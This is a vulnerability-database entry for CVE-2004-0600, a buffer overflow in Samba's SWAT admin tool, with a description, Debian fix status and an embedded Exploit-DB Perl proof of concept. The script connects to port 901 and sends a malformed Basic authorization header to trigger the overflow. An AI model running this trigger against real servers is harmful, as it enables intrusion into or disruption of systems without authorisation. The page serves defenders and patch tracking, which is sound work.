CVE-2004-0600

unknown
Published — · Modified —
CVSS v3
CVSS v4 NEW
not yet in upstream
VIR risk
1.0

Description

Buffer overflow in the Samba Web Administration Tool (SWAT) in Samba 3.0.2 to 3.0.4 allows remote attackers to execute arbitrary code via an invalid base-64 character during HTTP basic authentication.

Predictions

Exploit likelihood
20%
Patch ETA

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-364 remote linux verified perl · 1 KB
Noam Rathaus · 2004-07-22

Samba 3.0.4 - SWAT Authorisation Buffer Overflow

perl exploit Source: Exploit-DB
#!/usr/bin/perl
# Samba 3.0.4 and prior's SWAT Authorization Buffer Overflow
# Created by Noam Rathaus of Beyond Security Ltd.
#

use IO::Socket;
use strict;

my $host = $ARGV[0];

my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host, 
PeerPort => "901" );

unless ($remote) { die "cannot connect to http daemon on $host" }

print "connected\n";

$remote->autoflush(1);

my $http = "GET / HTTP/1.1\r
Host: $host:901\r
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7) Gecko/20040712 
Firefox/0.9.1\r
Accept: text/xml\r
Accept-Language: en-us,en;q=0.5\r
Accept-Encoding: gzip,deflate\r
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r
Keep-Alive: 300\r
Connection: keep-alive\r
Authorization: Basic =\r
\r
";

print "HTTP: [$http]\n";
print $remote $http;
sleep(1);
print "Sent\n";

while (<$remote>)
{
 print $_;
}
print "\n";

close $remote;

# milw0rm.com [2004-07-22]

OS impact

debian Debian Fixed 5 releases
VersionStatusFixed in
trixie Fixed 3.0.5
sid Fixed 3.0.5
forky Fixed 3.0.5
bullseye Fixed 3.0.5
bookworm Fixed 3.0.5

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.